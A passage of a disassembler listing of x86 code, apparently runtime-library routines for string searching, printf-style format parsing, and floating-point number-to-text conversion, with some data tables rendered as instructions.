--------------------------------------------------------------------------- loc_20007785: ; CODE XREF: sub_2000777C+4j inc eax loc_20007786: ; CODE XREF: sub_2000777Cj mov cl, [eax] cmp dl, cl jnz short loc_2000777E retn sub_2000777C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_20007790 proc near ; CODE XREF: sub_2000B074+3Bp ; sub_2000B074+7Cp push edi push esi push ebx or eax, eax jz short loc_200077DB or edx, edx jz short loc_200077DB mov ebx, eax mov edi, edx xor al, al mov ecx, 0FFFFFFFFh repne scasb not ecx dec ecx jz short loc_200077DB mov esi, ecx mov edi, ebx mov ecx, 0FFFFFFFFh repne scasb not ecx sub ecx, esi jbe short loc_200077DB mov edi, ebx lea ebx, [esi-1] loc_200077C3: ; CODE XREF: sub_20007790+44j mov esi, edx lodsb repne scasb jnz short loc_200077DB mov eax, ecx push edi mov ecx, ebx repe cmpsb pop edi mov ecx, eax jnz short loc_200077C3 lea eax, [edi-1] jmp short loc_200077DD ; --------------------------------------------------------------------------- loc_200077DB: ; CODE XREF: sub_20007790+5j ; sub_20007790+9j ... xor eax, eax loc_200077DD: ; CODE XREF: sub_20007790+49j pop ebx pop esi pop edi retn sub_20007790 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200077E4 proc near ; CODE XREF: sub_200077F8+19p push ebx mov ebx, eax add ebx, 4 mov eax, ebx call sub_20002668 mov [eax], ebx add eax, 4 pop ebx retn sub_200077E4 endp ; =============== S U B R O U T I N E ======================================= sub_200077F8 proc near ; CODE XREF: sub_200108E4+28p push ebx push esi mov ebx, eax test ebx, ebx jnz short loc_20007805 xor eax, eax pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_20007805: ; CODE XREF: sub_200077F8+6j mov eax, ebx call sub_200076DC mov esi, eax inc esi mov eax, esi call sub_200077E4 mov ecx, esi mov edx, ebx call sub_200076F4 pop esi pop ebx retn sub_200077F8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20007824 proc near ; CODE XREF: sub_200079D6+7Dp var_34 = byte ptr -34h var_14 = dword ptr -14h var_10 = byte ptr -10h push ebx push esi push edi add esp, 0FFFFFFD8h mov ebx, ecx mov esi, edx mov edi, eax cmp ebx, 1Fh jbe short loc_2000783A mov ebx, 1Fh loc_2000783A: ; CODE XREF: sub_20007824+Fj mov edx, ebx dec edx mov eax, esi call sub_2000ADB0 cmp al, 1 jnz short loc_20007849 dec ebx loc_20007849: ; CODE XREF: sub_20007824+22j mov eax, esp mov ecx, ebx mov edx, esi call sub_200076F4 mov [esp+ebx+34h+var_34], 0 mov eax, esp mov [esp+34h+var_14], eax mov [esp+34h+var_10], 6 lea edx, [esp+34h+var_14] mov eax, ds:off_2001417C[edi*4] xor ecx, ecx call sub_20006F08 add esp, 28h pop edi pop esi pop ebx retn sub_20007824 endp ; =============== S U B R O U T I N E ======================================= sub_2000787C proc near ; CODE XREF: sub_200079D6+114p push ebx mov ecx, ds:off_2001458C cmp dword ptr [ecx], 0 jz short loc_20007894 mov ebx, ds:off_2001458C mov ebx, [ebx] call ebx pop ebx retn ; --------------------------------------------------------------------------- loc_20007894: ; CODE XREF: sub_2000787C+Aj mov al, 10h call sub_20002750 sub_2000787C endp ; --------------------------------------------------------------------------- pop ebx retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_200078A0 proc near ; CODE XREF: sub_200078AC+D3p push ebx mov ebx, eax mov eax, ebx call sub_20003FA8 pop ebx retn sub_200078A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200078AC proc near ; CODE XREF: sub_20007C24+2Ap ; sub_20007C78+4Ap ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_19 = byte ptr -19h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 20007C13 SIZE 0000000F BYTES push ebp mov ebp, esp add esp, 0FFFFFF94h push ebx xor ebx, ebx mov [ebp+var_14], ebx push ebx push esi push edi mov edi, eax mov esi, ecx xor eax, eax mov [ebp+var_4], eax add ecx, [ebp+arg_8] mov [ebp+var_8], edi xor eax, eax mov [ebp+var_C], eax mov [ebp+var_10], eax mov [ebp+var_14], eax loc_200078D5: ; CODE XREF: sub_200078AC+DDj or edx, edx jz short loc_200078E6 loc_200078D9: ; CODE XREF: sub_200078AC+38j cmp esi, ecx jz short loc_200078E6 lodsb cmp al, 25h jz short loc_200078F0 loc_200078E2: ; CODE XREF: sub_200078AC+4Bj stosb dec edx jnz short loc_200078D9 loc_200078E6: ; CODE XREF: sub_200078AC+2Bj ; sub_200078AC+2Fj ... mov eax, edi sub eax, [ebp+var_8] jmp loc_20007C13 ; --------------------------------------------------------------------------- loc_200078F0: ; CODE XREF: sub_200078AC+34j cmp esi, ecx jz short loc_200078E6 lodsb cmp al, 25h jz short loc_200078E2 lea ebx, [esi-2] mov [ebp+var_18], ebx loc_200078FF: ; CODE XREF: sub_200078AC+70j mov [ebp+var_19], al cmp al, 2Dh jnz short loc_2000790B cmp esi, ecx jz short loc_200078E6 lodsb loc_2000790B: ; CODE XREF: sub_200078AC+58j call sub_2000798E cmp al, 3Ah jnz short loc_2000791E mov [ebp+var_C], ebx cmp esi, ecx jz short loc_200078E6 lodsb jmp short loc_200078FF ; --------------------------------------------------------------------------- loc_2000791E: ; CODE XREF: sub_200078AC+66j mov [ebp+var_20], ebx mov ebx, 0FFFFFFFFh cmp al, 2Eh jnz short loc_20007934 cmp esi, ecx jz short loc_200078E6 lodsb call sub_2000798E loc_20007934: ; CODE XREF: sub_200078AC+7Cj mov [ebp+var_24], ebx mov [ebp+var_28], esi push ecx push edx call sub_200079D6 pop edx mov ebx, [ebp+var_20] sub ebx, ecx jnb short loc_2000794B xor ebx, ebx loc_2000794B: ; CODE XREF: sub_200078AC+9Bj cmp [ebp+var_19], 2Dh jnz short loc_2000795B sub edx, ecx jnb short loc_20007959 add ecx, edx xor edx, edx loc_20007959: ; CODE XREF: sub_200078AC+A7j rep movsb loc_2000795B: ; CODE XREF: sub_200078AC+A3j xchg ebx, ecx sub edx, ecx jnb short loc_20007965 add ecx, edx xor edx, edx loc_20007965: ; CODE XREF: sub_200078AC+B3j mov al, 20h rep stosb xchg ebx, ecx sub edx, ecx jnb short loc_20007973 add ecx, edx xor edx, edx loc_20007973: ; CODE XREF: sub_200078AC+C1j rep movsb cmp [ebp+var_10], 0 jz short loc_20007985 push edx lea eax, [ebp+var_10] call sub_200078A0 pop edx loc_20007985: ; CODE XREF: sub_200078AC+CDj pop ecx mov esi, [ebp+var_28] jmp loc_200078D5 sub_200078AC endp ; =============== S U B R O U T I N E ======================================= sub_2000798E proc near ; CODE XREF: sub_200078AC:loc_2000790Bp ; sub_200078AC+83p xor ebx, ebx cmp al, 2Ah jz short loc_200079B6 loc_20007994: ; CODE XREF: sub_2000798E+20j cmp al, 30h jb short locret_200079D5 cmp al, 39h ja short locret_200079D5 imul ebx, 0Ah sub al, 30h movzx eax, al add ebx, eax cmp esi, ecx jz short loc_200079B0 lodsb jmp short loc_20007994 ; --------------------------------------------------------------------------- loc_200079B0: ; CODE XREF: sub_2000798E+1Dj ; sub_2000798E+44j pop eax jmp loc_200078E6 ; --------------------------------------------------------------------------- loc_200079B6: ; CODE XREF: sub_2000798E+4j mov eax, [ebp-0Ch] cmp eax, [ebp+8] jg short loc_200079D0 inc dword ptr [ebp-0Ch] mov ebx, [ebp+0Ch] cmp byte ptr [ebx+eax*8+4], 0 mov ebx, [ebx+eax*8] jz short loc_200079D0 xor ebx, ebx loc_200079D0: ; CODE XREF: sub_2000798E+2Ej ; sub_2000798E+3Ej cmp esi, ecx jz short loc_200079B0 lodsb locret_200079D5: ; CODE XREF: sub_2000798E+8j ; sub_2000798E+Cj retn sub_2000798E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_200079D6 proc near ; CODE XREF: sub_200078AC+90p and al, 0DFh mov cl, al mov eax, 1 mov ebx, [ebp-0Ch] cmp ebx, [ebp+8] jg short loc_20007A43 inc dword ptr [ebp-0Ch] mov esi, [ebp+0Ch] lea esi, [esi+ebx*8] mov eax, [esi] movzx edx, byte ptr [esi+4] jmp off_200079FD[edx*4] ; --------------------------------------------------------------------------- off_200079FD dd offset loc_20007A8E ; DATA XREF: sub_200079D6+20r dd offset loc_20007A41 dd offset loc_20007AC7 dd offset loc_20007B8E dd offset loc_20007AF7 dd offset loc_20007B6F dd offset loc_20007B4F dd offset loc_20007A41 dd offset loc_20007A41 dd offset loc_20007A41 dd offset loc_20007B08 dd offset loc_20007B33 dd offset loc_20007B8A dd offset loc_20007AD6 dd offset loc_20007A41 dd offset loc_20007B0F dd offset loc_20007A58 ; --------------------------------------------------------------------------- loc_20007A41: ; CODE XREF: sub_200079D6+20j ; sub_200079D6+B6j ... xor eax, eax loc_20007A43: ; CODE XREF: sub_200079D6+Fj call sub_20007C03 mov edx, [ebp-18h] mov ecx, [ebp-28h] sub ecx, edx mov ebx, [ebp-4] call sub_20007824 loc_20007A58: ; CODE XREF: sub_200079D6+20j ; DATA XREF: sub_200079D6+67o lea esi, [ebp-49h] mov edx, [ebp-24h] cmp edx, 20h jbe short loc_20007A65 xor edx, edx loc_20007A65: ; CODE XREF: sub_200079D6+8Bj mov ebx, ecx sub cl, 44h jz sub_20007180 mov ecx, 10h cmp bl, 58h jz sub_20007180 mov ecx, 0Ah cmp bl, 55h jz sub_20007180 jmp short loc_20007A41 ; --------------------------------------------------------------------------- loc_20007A8E: ; CODE XREF: sub_200079D6+20j ; DATA XREF: sub_200079D6:off_200079FDo lea esi, [ebp-59h] mov edx, [ebp-24h] mov ebx, ecx cmp edx, 10h jbe short loc_20007A9D xor edx, edx loc_20007A9D: ; CODE XREF: sub_200079D6+C3j sub cl, 44h jz sub_20007114 mov ecx, 10h cmp bl, 58h jz sub_20007114 mov ecx, 0Ah cmp bl, 55h jz sub_20007114 jmp loc_20007A41 ; --------------------------------------------------------------------------- loc_20007AC7: ; CODE XREF: sub_200079D6+20j ; DATA XREF: sub_200079D6+2Fo cmp cl, 53h jnz loc_20007A41 mov ecx, 1 retn ; --------------------------------------------------------------------------- loc_20007AD6: ; CODE XREF: sub_200079D6+20j ; DATA XREF: sub_200079D6+5Bo cmp cl, 53h jnz loc_20007A41 cmp word ptr [eax], 1 jbe short loc_20007AF4 mov edx, eax lea eax, [ebp-10h] call sub_2000787C mov esi, [ebp-10h] jmp short loc_20007B3E ; --------------------------------------------------------------------------- loc_20007AF4: ; CODE XREF: sub_200079D6+10Dj ; sub_200079D6+16Aj xor ecx, ecx retn ; --------------------------------------------------------------------------- loc_20007AF7: ; CODE XREF: sub_200079D6+20j ; DATA XREF: sub_200079D6+37o cmp cl, 53h jnz loc_20007A41 mov esi, eax lodsb movzx ecx, al jmp short loc_20007B45 ; --------------------------------------------------------------------------- loc_20007B08: ; CODE XREF: sub_200079D6+20j ; DATA XREF: sub_200079D6+4Fo mov esi, offset sub_200041D0 jmp short loc_20007B14 ; --------------------------------------------------------------------------- loc_20007B0F: ; CODE XREF: sub_200079D6+20j ; DATA XREF: sub_200079D6+63o mov esi, offset sub_20004230 loc_20007B14: ; CODE XREF: sub_200079D6+137j add esi, [ebp-4] cmp cl, 53h jnz loc_20007A41 mov edx, eax lea eax, [ebp-14h] push ebx mov ebx, [ebp-4] call esi pop ebx mov esi, [ebp-14h] mov eax, esi jmp short loc_20007B3E ; --------------------------------------------------------------------------- loc_20007B33: ; CODE XREF: sub_200079D6+20j ; DATA XREF: sub_200079D6+53o cmp cl, 53h jnz loc_20007A41 mov esi, eax loc_20007B3E: ; CODE XREF: sub_200079D6+11Cj ; sub_200079D6+15Bj or esi, esi jz short loc_20007AF4 mov ecx, [esi-4] loc_20007B45: ; CODE XREF: sub_200079D6+130j cmp ecx, [ebp-24h] ja short loc_20007B4B retn ; --------------------------------------------------------------------------- loc_20007B4B: ; CODE XREF: sub_200079D6+172j mov ecx, [ebp-24h] retn ; --------------------------------------------------------------------------- loc_20007B4F: ; CODE XREF: sub_200079D6+20j ; DATA XREF: sub_200079D6+3Fo cmp cl, 53h jnz loc_20007A41 mov esi, eax push edi mov edi, eax xor al, al mov ecx, [ebp-24h] jecxz short loc_20007B69 repne scasb jnz short loc_20007B69 dec edi loc_20007B69: ; CODE XREF: sub_200079D6+18Cj ; sub_200079D6+190j mov ecx, edi sub ecx, esi pop edi retn ; --------------------------------------------------------------------------- loc_20007B6F: ; CODE XREF: sub_200079D6+20j ; DATA XREF: sub_200079D6+3Bo cmp cl, 50h jnz loc_20007A41 mov edx, 8 mov ecx, 10h lea esi, [ebp-59h] jmp sub_20007114 ; --------------------------------------------------------------------------- loc_20007B8A: ; CODE XREF: sub_200079D6+20j ; DATA XREF: sub_200079D6+57o mov bh, 1 jmp short loc_20007B90 ; --------------------------------------------------------------------------- loc_20007B8E: ; CODE XREF: sub_200079D6+20j ; DATA XREF: sub_200079D6+33o mov bh, 0 loc_20007B90: ; CODE XREF: sub_200079D6+1B6j mov esi, eax mov bl, 0 cmp cl, 47h jz short loc_20007BD8 mov bl, 1 cmp cl, 45h jz short loc_20007BD8 mov bl, 2 cmp cl, 46h jz short loc_20007BB9 mov bl, 3 cmp cl, 4Eh jz short loc_20007BB9 cmp cl, 4Dh jnz loc_20007A41 mov bl, 4 loc_20007BB9: ; CODE XREF: sub_200079D6+1CFj ; sub_200079D6+1D6j mov eax, 12h mov edx, [ebp-24h] cmp edx, eax jbe short loc_20007BEA mov edx, 2 cmp cl, 4Dh jnz short loc_20007BEA movzx edx, ds:byte_2001569C jmp short loc_20007BEA ; --------------------------------------------------------------------------- loc_20007BD8: ; CODE XREF: sub_200079D6+1C1j ; sub_200079D6+1C8j mov eax, [ebp-24h] mov edx, 3 cmp eax, 12h jbe short loc_20007BEA mov eax, 0Fh loc_20007BEA: ; CODE XREF: sub_200079D6+1EDj ; sub_200079D6+1F7j ... push ebx push eax push edx lea eax, [ebp-69h] mov edx, esi movzx ecx, bh mov ebx, [ebp-4] call sub_20007D7C mov ecx, eax lea esi, [ebp-69h] retn sub_200079D6 endp ; =============== S U B R O U T I N E ======================================= sub_20007C03 proc near ; CODE XREF: sub_200079D6:loc_20007A43p ; sub_200078AC:loc_20007C13p push ebx push eax lea eax, [ebp-14h] mov ebx, [ebp-4] call sub_20003FA8 pop eax pop ebx retn sub_20007C03 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_200078AC loc_20007C13: ; CODE XREF: sub_200078AC+3Fj call sub_20007C03 pop edi pop esi pop ebx pop ebx mov esp, ebp pop ebp retn 0Ch ; END OF FUNCTION CHUNK FOR sub_200078AC ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20007C24 proc near ; CODE XREF: CODE:2000A3FDp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov esi, ecx mov edi, edx mov ebx, eax test ebx, ebx jz short loc_20007C5B test esi, esi jz short loc_20007C5B mov eax, esi call sub_200076DC push eax mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax mov ecx, esi mov eax, ebx mov edx, edi call sub_200078AC mov byte ptr [ebx+eax], 0 mov eax, ebx jmp short loc_20007C5D ; --------------------------------------------------------------------------- loc_20007C5B: ; CODE XREF: sub_20007C24+Ej ; sub_20007C24+12j xor eax, eax loc_20007C5D: ; CODE XREF: sub_20007C24+35j pop edi pop esi pop ebx pop ebp retn 8 sub_20007C24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20007C64 proc near ; CODE XREF: sub_2000A520+34p ; sub_2000A5DC+41p arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] xchg eax, ecx xchg edx, ecx call sub_20007C78 pop ebp retn 4 sub_20007C64 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20007C78 proc near ; CODE XREF: sub_20007C64+Ap var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFF004h push eax add esp, 0FFFFFFF8h push ebx push esi mov [ebp+var_8], ecx mov [ebp+var_4], edx mov esi, eax mov ebx, 1000h mov eax, [ebp+var_4] call sub_20004244 cmp eax, 0C00h jge short loc_20007CC9 mov eax, [ebp+var_4] call sub_20004244 push eax mov eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] lea eax, [ebp+var_1008] mov edx, 0FFFh call sub_200078AC jmp short loc_20007CD5 ; --------------------------------------------------------------------------- loc_20007CC9: ; CODE XREF: sub_20007C78+29j mov eax, [ebp+var_4] call sub_20004244 mov ebx, eax mov eax, ebx loc_20007CD5: ; CODE XREF: sub_20007C78+4Fj mov edx, ebx dec edx cmp eax, edx jl short loc_20007D1F jmp short loc_20007D0E ; --------------------------------------------------------------------------- loc_20007CDE: ; CODE XREF: sub_20007C78+9Bj add ebx, ebx mov eax, esi call sub_20003FA8 mov eax, esi mov edx, ebx call sub_200045D0 mov eax, [ebp+var_4] call sub_20004244 push eax mov eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] mov edx, ebx dec edx mov eax, [esi] call sub_200078AC loc_20007D0E: ; CODE XREF: sub_20007C78+64j mov edx, ebx dec edx cmp eax, edx jge short loc_20007CDE mov edx, esi xchg eax, edx call sub_200045D0 jmp short loc_20007D2D ; --------------------------------------------------------------------------- loc_20007D1F: ; CODE XREF: sub_20007C78+62j lea edx, [ebp+var_1008] mov ecx, esi xchg eax, ecx call sub_20004098 loc_20007D2D: ; CODE XREF: sub_20007C78+A5j pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_20007C78 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20007D38 proc near ; CODE XREF: sub_20007E85+8Dp push esi xor esi, esi stosb or bl, bl jnz short loc_20007D44 xor edx, edx jmp short loc_20007D4E ; --------------------------------------------------------------------------- loc_20007D44: ; CODE XREF: sub_20007D38+6j or edx, edx jge short loc_20007D4E mov al, 2Dh neg edx jmp short loc_20007D54 ; --------------------------------------------------------------------------- loc_20007D4E: ; CODE XREF: sub_20007D38+Aj ; sub_20007D38+Ej or ah, ah jz short loc_20007D55 mov al, ah loc_20007D54: ; CODE XREF: sub_20007D38+14j stosb loc_20007D55: ; CODE XREF: sub_20007D38+18j xchg eax, edx push eax mov ebx, esp loc_20007D59: ; CODE XREF: sub_20007D38+32j ; sub_20007D38+36j xor edx, edx div ds:flt_20014190[esi] add dl, 30h mov [ebx], dl inc ebx dec ecx or eax, eax jnz short loc_20007D59 or ecx, ecx jg short loc_20007D59 loc_20007D70: ; CODE XREF: sub_20007D38+3Ej dec ebx mov al, [ebx] stosb cmp ebx, esp jnz short loc_20007D70 pop eax pop esi retn sub_20007D38 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20007D7C proc near ; CODE XREF: sub_200079D6+222p ; sub_20008390+17p ... var_2C = word ptr -2Ch var_29 = byte ptr -29h var_14 = dword ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h ; FUNCTION CHUNK AT 20008049 SIZE 00000006 BYTES push ebp mov ebp, esp add esp, 0FFFFFFD4h push edi push esi push ebx mov [ebp+var_4], eax mov al, ds:byte_2001569B mov [ebp+var_5], al mov al, ds:byte_2001569A mov [ebp+var_6], al mov eax, ds:dword_20015694 mov [ebp+var_C], eax mov al, ds:byte_20015698 mov [ebp+var_D], al mov al, ds:byte_20015699 mov [ebp+var_E], al mov [ebp+var_14], 0 mov eax, 13h cmp cl, 0 jnz short loc_20007DD8 mov eax, [ebp+arg_4] cmp eax, 2 jge short loc_20007DCE mov eax, 2 loc_20007DCE: ; CODE XREF: sub_20007D7C+4Bj cmp eax, 12h jle short loc_20007DD8 mov eax, 12h loc_20007DD8: ; CODE XREF: sub_20007D7C+43j ; sub_20007D7C+55j mov [ebp+arg_4], eax push eax mov eax, 270Fh cmp [ebp+arg_8], 2 jb short loc_20007DEA mov eax, [ebp+arg_0] loc_20007DEA: ; CODE XREF: sub_20007D7C+69j push eax lea eax, [ebp+var_2C] call sub_20008050 mov edi, [ebp+var_4] movzx eax, [ebp+var_2C] sub eax, 7FFFh cmp eax, 2 jnb short loc_20007E1E mov ecx, eax call sub_20007E7B lea esi, dword_20007E6C[ecx+ecx*2] add esi, [ebp+var_14] mov ecx, 3 rep movsb jmp short loc_20007E4B ; --------------------------------------------------------------------------- loc_20007E1E: ; CODE XREF: sub_20007D7C+86j lea esi, [ebp+var_29] movzx ebx, [ebp+arg_8] cmp bl, 1 jz short loc_20007E3A cmp bl, 4 ja short loc_20007E38 movsx eax, [ebp+var_2C] cmp eax, [ebp+arg_4] jle short loc_20007E3A loc_20007E38: ; CODE XREF: sub_20007D7C+B1j mov bl, 0 loc_20007E3A: ; CODE XREF: sub_20007D7C+ACj ; sub_20007D7C+BAj lea ebx, off_20007E58[ebx*4] add ebx, [ebp+var_14] mov ebx, [ebx] add ebx, [ebp+var_14] call ebx loc_20007E4B: ; CODE XREF: sub_20007D7C+A0j mov eax, edi sub eax, [ebp+var_4] pop ebx pop esi pop edi jmp loc_20008049 sub_20007D7C endp ; sp-analysis failed ; --------------------------------------------------------------------------- off_20007E58 dd offset sub_20007E85 ; DATA XREF: sub_20007D7C:loc_20007E3Ao dd offset loc_20007EE1 dd offset sub_20007F18 dd offset sub_20007F18 dd offset sub_20007F82 dword_20007E6C dd 4E464E49h ; DATA XREF: sub_20007D7C+8Fr ; --------------------------------------------------------------------------- inc ecx dec esi ; =============== S U B R O U T I N E ======================================= sub_20007E72 proc near ; CODE XREF: sub_20007E85+61p ; sub_20007E85:loc_20007EF4p ... lodsb or al, al jnz short locret_20007E7A mov al, 30h dec esi locret_20007E7A: ; CODE XREF: sub_20007E72+3j retn sub_20007E72 endp ; =============== S U B R O U T I N E ======================================= sub_20007E7B proc near ; CODE XREF: sub_20007D7C+8Ap ; sub_20007E85p ... cmp byte ptr [ebp-2Ah], 0 jz short locret_20007E84 mov al, 2Dh stosb locret_20007E84: ; CODE XREF: sub_20007E7B+4j retn sub_20007E7B endp ; =============== S U B R O U T I N E ======================================= sub_20007E85 proc near ; DATA XREF: CODE:off_20007E58o call sub_20007E7B movsx ecx, word ptr [ebp-2Ch] xor edx, edx cmp ecx, [ebp+0Ch] jg short loc_20007EB2 cmp ecx, 0FFFFFFFDh jl short loc_20007EB2 or ecx, ecx jg short loc_20007EB8 mov al, 30h stosb cmp byte ptr [esi], 0 jz short locret_20007EE0 mov al, [ebp-5] stosb neg ecx mov al, 30h rep stosb jmp short loc_20007ECC ; --------------------------------------------------------------------------- loc_20007EB2: ; CODE XREF: sub_20007E85+Ej ; sub_20007E85+13j mov ecx, 1 inc edx loc_20007EB8: ; CODE XREF: sub_20007E85+17j ; sub_20007E85+39j lodsb or al, al jz short loc_20007ED4 stosb loop loc_20007EB8 lodsb or al, al jz short loc_20007ED8 mov ah, al mov al, [ebp-5] stosw loc_20007ECC: ; CODE XREF: sub_20007E85+2Bj ; sub_20007E85+4Dj lodsb or al, al jz short loc_20007ED8 stosb jmp short loc_20007ECC ; --------------------------------------------------------------------------- loc_20007ED4: ; CODE XREF: sub_20007E85+36j mov al, 30h rep stosb loc_20007ED8: ; CODE XREF: sub_20007E85+3Ej ; sub_20007E85+4Aj or edx, edx jz short locret_20007EE0 xor eax, eax jmp short loc_20007EFE ; --------------------------------------------------------------------------- locret_20007EE0: ; CODE XREF: sub_20007E85+1Fj ; sub_20007E85+55j retn ; --------------------------------------------------------------------------- loc_20007EE1: ; DATA XREF: CODE:20007E5Co call sub_20007E7B call sub_20007E72 mov ah, [ebp-5] stosw mov ecx, [ebp+0Ch] dec ecx loc_20007EF4: ; CODE XREF: sub_20007E85+75j call sub_20007E72 stosb loop loc_20007EF4 mov ah, 2Bh loc_20007EFE: ; CODE XREF: sub_20007E85+59j mov ecx, [ebp+8] cmp ecx, 4 jbe short loc_20007F08 xor ecx, ecx loc_20007F08: ; CODE XREF: sub_20007E85+7Fj mov al, 45h mov bl, [ebp-29h] movsx edx, word ptr [ebp-2Ch] dec edx call sub_20007D38 retn sub_20007E85 endp ; =============== S U B R O U T I N E ======================================= sub_20007F18 proc near ; DATA XREF: CODE:20007E60o ; CODE:20007E64o call sub_20007E7B loc_20007F1D: ; CODE XREF: sub_20007F82:loc_20007FCBp mov edx, [ebp+8] cmp edx, 12h jb short loc_20007F2A mov edx, 12h loc_20007F2A: ; CODE XREF: sub_20007F18+Bj movsx ecx, word ptr [ebp-2Ch] or ecx, ecx jg short loc_20007F37 mov al, 30h stosb jmp short loc_20007F61 ; --------------------------------------------------------------------------- loc_20007F37: ; CODE XREF: sub_20007F18+18j xor ebx, ebx cmp byte ptr [ebp+10h], 2 jz short loc_20007F49 mov eax, ecx dec eax mov bl, 3 div bl mov bl, ah inc ebx loc_20007F49: ; CODE XREF: sub_20007F18+25j ; sub_20007F18+3Bj ... call sub_20007E72 stosb dec ecx jz short loc_20007F61 dec ebx jnz short loc_20007F49 mov al, [ebp-6] test al, al jz short loc_20007F49 stosb mov bl, 3 jmp short loc_20007F49 ; --------------------------------------------------------------------------- loc_20007F61: ; CODE XREF: sub_20007F18+1Dj ; sub_20007F18+38j or edx, edx jz short locret_20007F81 mov al, [ebp-5] test al, al jz short loc_20007F6D stosb loc_20007F6D: ; CODE XREF: sub_20007F18+52j jecxz short loc_20007F78 mov al, 30h loc_20007F71: ; CODE XREF: sub_20007F18+5Ej stosb dec edx jz short locret_20007F81 inc ecx jnz short loc_20007F71 loc_20007F78: ; CODE XREF: sub_20007F18:loc_20007F6Dj ; sub_20007F18+67j call sub_20007E72 stosb dec edx jnz short loc_20007F78 locret_20007F81: ; CODE XREF: sub_20007F18+4Bj ; sub_20007F18+5Bj retn sub_20007F18 endp ; =============== S U B R O U T I N E ======================================= sub_20007F82 proc near ; DATA XREF: CODE:20007E68o xor ebx, ebx mov bl, [ebp-0Dh] mov ecx, 3 cmp byte ptr [ebp-2Ah], 0 jz short loc_20007F9A mov bl, [ebp-0Eh] mov ecx, 40Fh loc_20007F9A: ; CODE XREF: sub_20007F82+Ej cmp bl, cl jbe short loc_20007FA0 mov bl, cl loc_20007FA0: ; CODE XREF: sub_20007F82+1Aj add bl, ch lea ebx, dword_20007FE5[ebx+ebx*4] add ebx, [ebp-14h] mov ecx, 5 loc_20007FB1: ; CODE XREF: sub_20007F82+51j mov al, [ebx] cmp al, 40h jz short locret_20007FD5 push ecx push ebx cmp al, 24h jz short loc_20007FC4 cmp al, 2Ah jz short loc_20007FCB stosb jmp short loc_20007FD0 ; --------------------------------------------------------------------------- loc_20007FC4: ; CODE XREF: sub_20007F82+39j call sub_20007FD6 jmp short loc_20007FD0 ; --------------------------------------------------------------------------- loc_20007FCB: ; CODE XREF: sub_20007F82+3Dj call loc_20007F1D loc_20007FD0: ; CODE XREF: sub_20007F82+40j ; sub_20007F82+47j pop ebx pop ecx inc ebx loop loc_20007FB1 locret_20007FD5: ; CODE XREF: sub_20007F82+33j retn sub_20007F82 endp ; =============== S U B R O U T I N E ======================================= sub_20007FD6 proc near ; CODE XREF: sub_20007F82:loc_20007FC4p push esi mov esi, [ebp-0Ch] test esi, esi jz short loc_20007FE3 mov ecx, [esi-4] rep movsb loc_20007FE3: ; CODE XREF: sub_20007FD6+6j pop esi retn sub_20007FD6 endp ; --------------------------------------------------------------------------- dword_20007FE5 dd 40402A24h ; DATA XREF: sub_20007F82+20r ; --------------------------------------------------------------------------- inc eax sub ah, [eax+eax*2] inc eax inc eax and al, 20h sub al, [eax+40h] sub ah, [eax] and al, 40h inc eax sub [edx+ebp], ah sub [eax+2Dh], eax and al, 2Ah inc eax inc eax and al, 2Dh sub al, [eax+40h] and al, 2Ah sub eax, 2A284040h and al, 29h inc eax sub eax, 4040242Ah sub ch, ds:2A404024h and al, 2Dh inc eax inc eax sub eax, 4024202Ah sub eax, 402A2024h sub ah, [eax] and al, 2Dh inc eax and al, 20h sub ch, ds:2D202440h sub al, [eax+2Ah] sub eax, 28402420h and al, 20h sub ch, [ecx] sub [edx], ch and [ecx+ebp], ah ; START OF FUNCTION CHUNK FOR sub_20007D7C loc_20008049: ; CODE XREF: sub_20007D7C+D7j mov esp, ebp pop ebp retn 0Ch ; END OF FUNCTION CHUNK FOR sub_20007D7C ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20008050 proc near ; CODE XREF: sub_20007D7C+72p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 20008273 SIZE 00000009 BYTES push ebp mov ebp, esp add esp, 0FFFFFFE0h push edi push esi push ebx mov ebx, eax mov esi, edx mov [ebp+var_4], 0 cmp cl, 0 jz short loc_20008073 call sub_2000819F jmp loc_20008273 ; --------------------------------------------------------------------------- loc_20008073: ; CODE XREF: sub_20008050+17j call sub_2000807D jmp loc_20008273 sub_20008050 endp ; =============== S U B R O U T I N E ======================================= sub_2000807D proc near ; CODE XREF: sub_20008050:loc_20008073p mov ax, [esi+8] mov edx, eax and 